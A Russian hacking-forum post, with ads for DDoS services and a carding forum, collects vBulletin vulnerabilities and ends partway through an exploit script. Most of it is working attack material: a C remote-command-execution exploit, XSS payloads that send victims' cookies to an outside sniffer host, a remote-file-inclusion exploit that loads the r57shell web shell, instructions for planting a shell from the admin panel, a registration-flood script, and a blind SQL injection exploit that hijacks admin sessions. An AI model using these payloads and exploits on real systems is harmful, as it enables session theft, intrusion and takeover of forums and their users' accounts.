Вернуться   XekSecurity > Уязвимости > Уязвимости > Форумы / Forums
Новые сообщенияНовые сообщения
TRUST DDOS
[Рекомендую]
ОТКЛЮЧИТЬ САЙТ ! ЗАКАЗАТЬ DDOS ! DDOS SERVICE!
CARDER.PRO - CARDING FORUM. DUMPS, CCs, DROPs - MANY PRIVATE SERVICE! CARDERS FORUM №1. REGISTRATION - 33 LR.
Advertise Реклама на форуме

Ответ
 
Опции темы Опции просмотра

[Обзор уязвимостей vBulletin]

Старый 07.12.2007, 20:11   #1 (permalink)
Senior Member
 
REDsaratov вне форума
Регистрация: 10.07.2007
Сообщений: 105
Репутация: 48
ICQ: 514-576
Exclamation [Обзор уязвимостей vBulletin]

Данный материал был собран с разных ресурсов - моего авторского права на него нет.
(Античат, Секлаб и т.д.)

Рассмотрим уязвимости трёх веток воблы: 2.*.*, 3.0.* и 3.1.*.

Узнаём версию форума.

В папке /clientscript/ находятся несколко js и css файлов в которых можно посмотреть точную версию форума.

PHP код:
vbulletin_ajax_threadslist.js
vbulletin_ajax_namesugg
.js
vbulletin_attachment
.js
vbulletin_cpcolorpicker
.js
vbulletin_editor
.js 

vBulletin
2

2.2.* - 2.2.4 - Выполнение произвольного кода
Описание уязвимости: уязвимость в vBulletin's Calendar PHP сценарии (calender.php) позволяет удаленному атакующему выполнять произвольный код в контексте пользователя 'nobody'.
Exploit:
PHP код:
/* php2.c - Vbulletin/calender.php remote command execution exploit
*
* This code is published property of gosper
* leads to gid apache.

* thanks and shouts go out to ectos and tgrey ;)
*
* (C) COPYRIGHT Gosper , 2002 - gosper@nix.org
* all rights reserved
***********************************************************************
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>

#define PORT 80
#define MAX 200
#define evil1 
"/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60"
#define evil2 "%20%60;die();echo%22"

char exploit(char *hostchar *string);
void usage(char *progname);
void interactive(char *hostchar *path); 
void search_replace(char *string, const char *find, const char *replace);

int main(int argcchar *argv[])
{
  
char buf[MAX], *command, *path, *host;
  
int res;
  
extern char *optarg;

    if(
argc 1) {
      
host argv[1]; // make things easier 
         
while((res getopt(argcargv"i:c:p:d")) != EOF) {
           switch(
res){

            case 
'c'command optarg;
                  break;
      
            case 
'i'path optarg;
             
//sprintf(buf, "GET %s%s%s%s\n" , path , evil1, command, 
evil2);
           
interactive(hostpath);
           
//exit(0);
                 
break;
      
                  case 
'd'printf("%s" buf);

            default: 
usage(argv[0]);
                        break;
                 }

                    }
  
      
sprintf(buf"GET %s%s%s\n" evil1commandevil2);
      
exploit(hostbuf); 
  }
else 
   
usage(argv[0]); 
return 
0;

}


char exploit(char *hostchar *string){
int fddata;
char buf[MAX], buf2[999], output[5000];

struct hostent *he;
struct sockaddr_in server;

   if((
he =gethostbyname(host))==NULL) {
  
printf("Error unknown host :( \n");
    exit(-
1);
  }

   if((
fd=socket(AF_INETSOCK_STREAM0))==-1){
  
printf("Couldnt open socket\n");
      exit(-
1);
   }

server.sin_family AF_INET;
server.sin_port htons(PORT);
server.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(server.sin_zero),8);

if(
connect(fd,(struct sockaddr*)&server,sizeof(struct sockaddr)) == -1){
  
printf("Couldnt connect to host\n");
  exit(-
1);
  }

  
  
send(fdstringsizeof(buf2), 0);
  
recv(fdoutputsizeof(output), 0);
  
printf("%s" output);

  
close(fd);
}

void interactive(char *hostchar *path) {
  
char shell[100], temp[MAX], *input;

  
printf("\n (C) Gosper 2002\n");
  
printf(" vbull, calendar.php exploit\n");
  
        while(
1){
  
printf("php# ");
  
fgets(shellsizeof(shell), stdin);
  
search_replace(shell" ""%20");
  
input malloc(strlen(shell)*sizeof(char));
  
memcpy(inputshellstrlen(shell)-1);
  
sprintf(temp"GET %s%s%s%s\n" path evil1inputevil2);
  
exploit(hosttemp);
  }
  }

void search_replace(char *string, const char *find, const char *replace)
   {

           
char final[MAX], temp[2];
           
size_t startendi;
           while (
strstr(stringfind) != NULL) {
                   final[
0] = '\0';
                   
start strstr(stringfind) - string;
                   
end start strlen(find);
                   
temp[1] = '\0';
                   
strncat(final, stringstart);
                   
strcat(final, replace);
                   for (
endstring[i] != '\0'i++) {
                           
temp[0] = string[i];
                           
strcat(final, temp);
                   }
                   
sprintf(string, final);
           }
           return;
   }

void usage(char *progname) {
printf("____________________________________\n");
printf(" calendar.php vbulletin exploit\n");
printf(" (C) COPYRIGHT Gosper 2002\n");
printf(" gosper@nix.org\n\n");
printf(" Usage: %s host -i path to calendar.php\n" progname);
printf(" Ex: %s 127.0.0.1 -i /bbs\n" progname);
exit(
1);

2.3.* - XSS

Описание уязвимости: уязвимость существует из-за недостаточной обработки тэга email.

Пример:

PHP код:
[E*MAIL]aaa@aaa.aa"'s='[/E*MAIL]' sss="i=new Image(); i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null" style=top:expression(eval(this.sss)); 
vBulletin 3.0

3.0.0 - XSS

Описание уязвимости: уязвимость существует в сценарии search.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:

PHP код:
 www.xz.сom/forumpath//search.php?do=process&showposts=0&query=<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script> 
3.0-3.0.4 - Выполнение произвольных команд
Описание уязвимости: уязвимость существует в сценарии forumdisplay.php из-за некорректной обработки глобальных переменных. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные команды на системе.
Пример:

PHP код:
www.xz.сom/forumpath/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')." 
3.0.3–3.0.9 XSS

Описание уязвимости: уязвимость существует при обработке входных данных в поле Статус. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
Примечание: менять свой статус по умолчанию может только администрация, начиная от группы Модераторы.
Пример:

PHP код:
<body onLoad=img = new Image(); img.src "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;> 
3.0.9 and 3.5.4 - XSS

Описание уязвимости: звимость существует из-за недостаточной обработки входных данных в параметре posthash в сценарии newthread.php. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:

PHP код:
www.xz.сom/forumpath/newthread.php?do=newthread&f=3&subject=1234&WYSIWYG_HTML=%3Cp%3E%3C%2Fp%3E&s=&f=3&do=postthread&posthash=c8d3fe38b082b6d3381cbee17f1f1aca&poststarttime='%2Bimg = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;%2B'&sbutton=%D1%EE%E7%E4%E0%F2%FC+%ED%EE%E2%F3%FE+%F2%  E5%EC%F3&parseurl=1&disablesmilies=1&emailupdate=3&postpoll=yes&polloptions=1234&openclose=1&stickunstick=1&iconid=
vBulletin 3.5

3.5.2 - XSS
Описание уязвимости: Уязвимость существует при обработке входных данных в поле "title" в сценарии "calendar.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:

PHP код:
TITLE:--------->Test<script>img = new Image(); img.src "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
        BODY:---------->No matter
        OTHER OPTIONS:->No matter 
Пояснение: заходим в календарь, жмём создать новое событие, и в заголовке прописываем <script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>, смотрим ссылку на наше событие и впариваем её тому у кого хотим украсть cookie

3.5.3 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в поле "Email Address" в модуле "Edit Email & Password". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Примечание: удачная эксплуатация уязвимости возможна при включенных опциях "Enable Email features" и "Allow Users to Email Other Member".
Пример:

PHP код:
www.xz.сom/forumpath/profile.php?do=editpassword
        pass
:your pass
        email
vashe@milo.com”><script>img = new Image(); img.src "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>.nomatt
        Note About lenght limitation 
        ****
        forum/profile.php?do=editoptions
        Receive Email from Other Members=yes
        ****
        www.xz.сom/forumpath/sendmessage.php?do=mailmember&u={your id} 
Пояснение: заходим в профиль и в поле email прописываем vashe@milo.com”><script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>.nomatt. Cохраняем. Потом ставим в опциях свой емайл видимым для всех. Теперь втравливаем кому нибудь ссылку www.xz.сom/forumpath/sendmessage.php?do=mailmember&u={your id}, где {your id} ваш id. Cookie уйдут на снифер.

3.5.4 - Дамп БД
Описание уязвимости: уязвимость существует из-за недостаточного ограничения на доступ к сценарию upgrade_301.php в каталоге 'install'. Удаленный пользователь может с помощью специально сформированного URL сделать дамп базы данных приложения.
Пример:

PHP код:
www.xz.com/forumpath/install/upgrade_301.php?step=SomeWord 
3.5.4 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре url сценария inlinemod.php. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:

PHP код:
www.xz.сom/forumpath/inlinemod.php?do=clearthread&url=lala2%0d%0aContent-Length:%2033%0d%0a%0d%0a<html>Hacked!</html>%0d%0a%0d%0a 
XSS vBulletin 3.6.1 Admin Control Panel

Пример:

PHP код:
http://www.exemplo.com/vbulletin/admincp/index.php?do=buildnavprefs&nojs=0&prefs="><script>alert("insanity")</script>
http://www.exemplo.com/vbulletin/admincp/index.php?do=savenavprefs&nojs=0&navprefs="><script>alert("insanity")</script> 
vBulletin 3.0.7 - 3.6.2 - XSS

прикрепляем файл pdf созданный с содержанием:
PHP код:
<script>alert()</script> 
и при открытии этого файла вылезает алерт.

этот способ работает в очень многих местах, также как и встраивание кода в картинку. минус этого способа, что не во всех местах можно прикреплять файлы.


Уязвимость позволяет удаленному злоумышленнику выполнить произвольный сценарий на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных при обработке входящих запросов. Атакующий может выполнить SWF произвольный сценарий и выкрасть данные аутентификации cookie.

Пример:

PHP код:
getURL("javascript:function blab(){}var scriptNode = +document.createElement('script'); document.getElementsByTagName('body')[0].appendChild(scriptNode);scriptNode.language='java  script';scriptNode.src= 'http://www.YourServer/UrPHPpage.php?Cookie='+document.cookie +;blab();"); 

Уязвимости в модулях vBulletin.

vBug Tracker 3.5.1 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре "sortorder" сценария vbugs.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:

PHP код:
www.xz.сom/forumpath/vbugs.php?do=list&s=&textsearch=&vbug_typeid=0&vbug_statusid=0&vbug_severityid=0&vbug_versionid=0&assignment=0&sortfield=lastedit&sortorder=%22%3Cscript%3Eimg = new Image(); img.src "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;%3C/script%3E 
ImpEx 1.74 - PHP-инклюдинг и выполнение команд
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре "systempath" в сценарии ImpExData.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:

PHP код:
www.xz.сom/forumpath/impex/ImpExData.php?systempath=http://rst.void.ru/download/r57shell.txt
www.xz.сom/forumpath/impex/ImpExData.php?systempath=../../../../../../../../etc/passwd 
Exploit:

PHP код:
=======================================================================================
XOR Crew :: Security Advisory 
       3/22/2006
=======================================================================================
vBulletin ImpEx <= 1.74 - Remote Command Execution Vulnerability
=======================================================================================
http://www.xorcrew.net/
http://www.xorcrew.net/ReZEN
=======================================================================================

:: Summary

       Vendor       :  vBulletin
       Vendor Site  :  http://www.vbulletin.com/docs/html/impex
       Product(s)   :  Impex - vBulletin Import / Export System
       Version(s)   :  All
       Severity     :  Medium/High
       Impact       :  Remote Command Execution
       Release Date :  3/22/2006
       Credits      :  ReZEN (rezen (a) xorcrew (.) net)

=======================================================================================

I. Description

The ImpEx (Import / Export) system is the core system for importing from 
other forum software into vBulletin version 3.5.0 or higher.

=======================================================================================

II. Synopsis

There is a remote file inclusion vulnerability that allows for remote 
command execution in the /ImpExData.php file.  The bug is here:

require_once ($systempath . 'impex/ImpExDatabase.php');

the $systempath variable is not set prior to being used in the 
require_once() function. The vendor and support team have been contacted.

=======================================================================================

Exploit code:

-----BEGIN-----

<?php
/*
vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:  http://www.xorcrew.net/ReZEN

example:
turl: http://www.target.com/impex/ImpExData.php?systempath=
hurl:http://www.pwn3d.com/evil.txt?

*/

$cmd $_POST["cmd"];
$turl $_POST["turl"];
$hurl $_POST["hurl"];

$form"<form method=\"post\" action=\"".$PHP_SELF."\">"
     
."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" 
value=\""
.$turl."\"><br>"
     
."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" 
value=\""
.$hurl."\"><br>"
     
."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" 
value=\""
.$cmd."\"><br>"
     
."<input type=\"submit\" value=\"Submit\" name=\"submit\">"

     
."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset(
$_POST['submit']))
{

echo 
$form;

}else{

$file fopen ("test.txt""w+");

fwrite($file"<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>"
);
fclose($file);

$file fopen ($turl.$hurl"r");
if (!
$file) {
     echo 
"<p>Unable to get output.\n";
     exit;
}

echo 
$form;

while (!
feof ($file)) {
     
$line .= fgets ($file1024)."<br>";
     }
$tpos1 strpos($line"++BEGIN++");
$tpos2 strpos($line"++END++");
$tpos1 $tpos1+strlen("++BEGIN++");
$tpos2 $tpos2-$tpos1;
$output substr($line$tpos1$tpos2);
echo 
$output;

}
?>


------END------

=======================================================================================

IV. Greets :>

All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful girlfriend.

uh ohs!! + /srv/web/lotfree/ + LOTFREE uid 1010 = Lame Frenchies

=======================================================================================
ibProArcade 2.x - SQL injection
Описание уязвимости: Уязвимость существует в модуле ”Report” при обработке входных данных в параметре user сценария index.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.
Пример:

PHP код:
www.xz.сom/forumpath/index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user
Где [any_user] id нужного нам юзера.

Шелл в vBulletin.

Разберёмся как залить шелл из админки воблы.

Способ заливки шелла в vBulletin 2.*.* и 3.0.*

1. Заходим в админку.
2. Смайлы.
3. Загрузить смайл.
4. Грузим наш шелл. (папка по умолчанию /images/smilies)
5. Заходим www.xz.сom/forumpath/images/smilies/shell.php

Примечание: сработает не везде.

Способ заливки шелла в vBulletin 3.5.*.

1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда

эксплоит для флуда форума.

PHP код:
<?
set_time_limit
(60);
//You can change 10 to other numbers  
for($i $i <= 10 $i++)
{
//to put curl to send POST request 
$ch curl_init();
//change http://localhost/vb3 to the url of the script 
curl_setopt($ch CURLOPT_URL 'http://localhost/vb3/register.php');
curl_setopt($ch CURLOPT_POST 1) ;
curl_setopt($ch CURLOPT_POSTFIELDS 'agree=1&s=&do=addmember&url=index.php&password_md5=&passwordconfirm_md5=&day=0&month=0&year=0&username=x-boy'.$i.'&password=elmehdi&passwordconfirm=elmehdi&email=dicomdk'.$i.'@gmail.com&emailconfirm=dicomdk'.$i.'@gmail.com&referrername=&timezoneoffset=(GMT -12:00) Eniwetok, Kwajalein&dst=DST corrections always on&options[showemail]=1');
curl_exec($ch);
curl_close($ch);
}
//Flood finished  good luck 
?>
vBulletin 3.6.4

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «postids» сценарием inlinemod.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

PHP код:
<?php
print_r
('
-----------------------------------------------------------------------------
vBulletin <= 3.6.4 inlinemod.php "postids" sql injection / privilege
escalation by session hijacking exploit
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org

Works regardless of php.ini settings, you need a Super Moderator account
to copy posts among threads, to be launched while admin is logged in to
the control panel, this will give you full admin privileges
note: this will flood the forum with empty threads even!
-----------------------------------------------------------------------------
'
);

if (
$argc<7) {
print_r('
-----------------------------------------------------------------------------
Usage: php '
.$argv[0].' host path user pass forumid postid OPTIONS
host:      target server (ip/hostname)
path:      path to vbulletin
user/pass: you need a moderator account
forumid:   existing forum
postid:    existing post
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '
.$argv[0].' localhost /vbulletin/ rgod mypass 2 121 -P1.1.1.1:80
php '
.$argv[0].' localhost /vbulletin/ rgod mypass 1 143 -p81
-----------------------------------------------------------------------------
'
);
die;
}
/*
vulnerable code in inlinemod.php near lines 185-209:

...
    case 'docopyposts':

        $vbulletin->input->clean_array_gpc('p', array(
            'postids' => TYPE_STR,
        ));

        $postids = explode(',', $vbulletin->GPC['postids']);
        foreach ($postids AS $index => $postid)
        {
            if ($postids["$index"] != intval($postid))
            {
                unset($postids["$index"]);
            }
        }

        if (empty($postids))
        {
            eval(standard_error(fetch_error('no_applicable_posts_selected')));
        }

        if (count($postids) > $postlimit)
        {
            eval(standard_error(fetch_error('you_are_limited_to_working_with_x_posts', $postlimit)));
        }
        break;
...
when an element of $postids array is not an integer, it fails to unset() the proper value.

An example:

<?php
$foo[1]="99999) UNION SELECT foo FROM foo WHERE foo=1 LIMIT 1/*";
$foo[2]=intval($foo[1]);

echo $foo[1]."\n";
echo $foo[2]."\n";
if ($foo[1] != $foo[2])
{
 echo "they are different";
}
else
{
 echo "they match!";
}
?>

output:

99999) UNION SELECT foo FROM foo WHERE foo=1 LIMIT 1/*
99999
they match!

this because when php tries to comparise a string with an integer
it tries to convert the string in its integer value, it chooses the first integer chars
of the string itself!
so unset() never run!

the result is sql injection near lines 3792-3800:

...
    $posts = $db->query_read_slave("
        SELECT post.postid, post.threadid, post.visible, post.title, post.username, post.dateline, post.parentid, post.userid,
            thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid,
            thread.sticky, thread.open, thread.iconid
        FROM " . TABLE_PREFIX . "post AS post
        LEFT JOIN " . TABLE_PREFIX . "thread AS thread USING (threadid)
        WHERE postid IN (" . implode(',', $postids) . ")
        ORDER BY post.dateline
    ");
...

this exploit extract various session hashes from the database
to authenticate as admin and to change the privileges of a registered user
I could not find a way to see results inside html, so this asks true/false
questions to the database, copying posts around threads

possible patch, replace:
foreach ($postids AS $index => $postid)
        {
               if ($postids["$index"] != intval($postid))
            {
                unset($postids["$index"]);
            }
        }

with:

foreach ($postids AS $index => $postid)
        {
           $postids["$index"]=(int)$postids["$index"];
        }


and, some line before:

foreach ($threadids AS $index => $threadid)
        {
            if ($threadids["$index"] != intval($threadid))
            {
                unset($threadids["$index"]);
            }
        }

with:

foreach ($threadids AS $index => $threadid)
        {
           $threadids["$index"]=(int)$threadids["$index"];
        }


vendor was contacted by email form...
*/

error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function 
quick_dump($string)
{
  
$result='';$exa='';$cont=0;
  for (
$i=0$i<=strlen($string)-1$i++)
  {
   if ((
ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {
$result.="  .";}
   else
   {
$result.="  ".$string[$i];}
   if (
strlen(dechex(ord($string[$i])))==2)
   {
$exa.=" ".dechex(ord($string[$i]));}
   else
   {
$exa.=" 0".dechex(ord($string[$i]));}
   
$cont++;if ($cont==15) {$cont=0$result.="\r\n"$exa.="\r\n";}
  }
 return 
$exa."\r\n".$result;
}
$proxy_regex '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function 
sendpacketii($packet)
{
  global 
$proxy$host$port$html$proxy_regex;
  if (
$proxy=='') {
    
$ock=fsockopen(gethostbyname($host),$port);
    if (!
$ock) {
      echo 
'No response from '.$host.':'.$port; die;
    }
  }
  else {
    
$c preg_match($proxy_regex,$proxy);
    if (!
$c) {
      echo 
'Not a valid proxy...';die;
    }
    
$parts=explode(':',$proxy);
    echo 
"Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    
$ock=fsockopen($parts[0],$parts[1]);
    if (!
$ock) {
      echo 
'No response from proxy...';die;
    }
  }
  
fputs($ock,$packet);
  if (
$proxy=='') {
    
$html='';
    while (!
feof($ock)) {
      
$html.=fgets($ock);
    }
  }
  else {
    
$html='';
    while ((!
feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      
$html.=fread($ock,1);
    }
  }
  
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=md5($argv[4]);
$forumid=(int)$argv[5];
$existing_post=(int)$argv[6];

$port=80;
$proxy="";
for (
$i=3$i<$argc$i++){
$temp=$argv[$i][0].$argv[$i][1];
if ((
$temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if (
$temp=="-p")
{
  
$port=str_replace("-p","",$argv[$i]);
}
if (
$temp=="-P")
{
  
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ((
$path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if (
$proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="vb_login_username=$user";
$data.="&vb_login_password=";
$data.="&s=";
$data.="&do=login";
$data.="&vb_login_md5password=$pass";
$data.="&vb_login_md5password_utf=$pass";
$packet="POST ".$p."login.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."login.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$cookie="";
$temp=explode("Set-Cookie: ",$html);
for (
$i=1$i<count($temp); $i++)
{
  
$temp2=explode(" ",$temp[$i]);
  
$cookie.=" ".trim($temp2[0]);
}
//echo "your cookie -> ".$cookie."\n\n";
if (!eregi("sessionhash",$cookie)){die("failed to login...");}$temp=str_replace(" ","",$cookie);$temp=str_replace("sessionhash","",$temp);
$temp=str_replace("lastvisit","",$temp);$temp=str_replace("lastactivity","",$temp);$temp=explode("=",$temp);$temp=explode(";",$temp[1]);
$cookie_prefix=trim($temp[1]);echo "cookie prefix -> ".$cookie_prefix."\n";

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers

$j=1;$uid="";
echo 
"admim user id -> ";
while (!
strstr($uid,chr(0)))
{
    for (
$i=0$i<=255$i++)
    {
        if (
in_array($i,$chars))
        {
          
$data ="s=";
          
$data.="&do=docopyposts";
          
$data.="&destforumid=$forumid";
          
$data.="&title=suntzu";
          
$data.="&forumid=$forumid";
          
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(userid,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/user/**/WHERE/**/usergroupid=6/**/LIMIT/**/1/*";
          
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
          
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
          
$packet.="Referer: http://".$host.$path."profile.php\r\n";
          
$packet.="Accept-Language: it\r\n";
          
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
          
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
          
$packet.="Host: ".$host."\r\n";
          
$packet.="Content-Length: ".strlen($data)."\r\n";
          
$packet.="Pragma: no-cache\r\n";
          
$packet.="Cookie: ".$cookie."; \r\n";
          
$packet.="Connection: Close\r\n\r\n";
          
$packet.=$data;
          
sendpacketii($packet);
          
$temp=explode("showthread.php?t=",$html);
          
$temp2=explode("\n",$temp[1]);
          
$thread=(int)$temp2[0];

          
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
          
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
          
$packet.="Referer: http://".$host.$path."profile.php\r\n";
          
$packet.="Accept-Language: it\r\n";
          
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
          
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
          
$packet.="Host: ".$host."\r\n";
          
$packet.="Pragma: no-cache\r\n";
          
$packet.="Cookie: ".$cookie."; \r\n";
          
$packet.="Connection: Close\r\n\r\n";
          
sendpacketii($packet);
          if (
eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
          if (
eregi("join date",$html)) {$uid.=chr($i);echo chr($i); sleep(1); break;}
        }
        if (
$i==255) {
            die(
"\nExploit failed...");
        }
    }
$j++;
}
if (
trim($uid)==""){die("\nExploit failed...");}else{echo "\nvulnerable!";}
$uid=intval($uid);

function 
my_encode($my_string)
{
  
$encoded="CHAR(";
  for (
$k=0$k<=strlen($my_string)-1$k++)
  {
    
$encoded.=ord($my_string[$k]);
    if (
$k==strlen($my_string)-1) {$encoded.=")";}
    else {
$encoded.=",";}
  }
  return 
$encoded;
}


$j=1;$my_uid="";
echo 
"\nyour user id -> ";
while (!
strstr($my_uid,chr(0)))
{
    for (
$i=0$i<=255$i++)
    {
        if (
in_array($i,$chars))
        {
          
$data ="s=";
          
$data.="&do=docopyposts";
          
$data.="&destforumid=$forumid";
          
$data.="&title=suntzu";
          
$data.="&forumid=$forumid";
          
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(userid,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/user/**/WHERE/**/username=".my_encode($user)."/**/LIMIT/**/1/*";
          
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
          
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
          
$packet.="Referer: http://".$host.$path."profile.php\r\n";
          
$packet.="Accept-Language: it\r\n";
          
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
          
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
          
$packet.="Host: ".$host."\r\n";
          
$packet.="Content-Length: ".strlen($data)."\r\n";
          
$packet.="Pragma: no-cache\r\n";
          
$packet.="Cookie: ".$cookie."; \r\n";
          
$packet.="Connection: Close\r\n\r\n";
          
$packet.=$data;
          
sendpacketii($packet);
          if (
eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
          
$temp=explode("showthread.php?t=",$html);
          
$temp2=explode("\n",$temp[1]);
          
$thread=(int)$temp2[0];

          
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
          
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
          
$packet.="Referer: http://".$host.$path."profile.php\r\n";
          
$packet.="Accept-Language: it\r\n";
          
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
          
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
          
$packet.="Host: ".$host."\r\n";
          
$packet.="Pragma: no-cache\r\n";
          
$packet.="Cookie: ".$cookie."; \r\n";
          
$packet.="Connection: Close\r\n\r\n";
          
sendpacketii($packet);
          if (
eregi("join date",$html)) {$my_uid.=chr($i);echo chr($i); sleep(1); break;}
        }
        if (
$i==255) {
            die(
"\nExploit failed...");
        }
    }
$j++;
}
$my_uid=intval($my_uid);

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$sess_hash="";
echo 
"\nsession hash -> ";
while (!
strstr($sess_hash,chr(0)))
{
    for (
$i=0$i<=255$i++)
    {
      if (
in_array($i,$chars))
        {
          
$data ="s=";
          
$data.="&do=docopyposts";
          
$data.="&destforumid=$forumid";
          
$data.="&title=suntzu";
          
$data.="&forumid=$forumid";
          
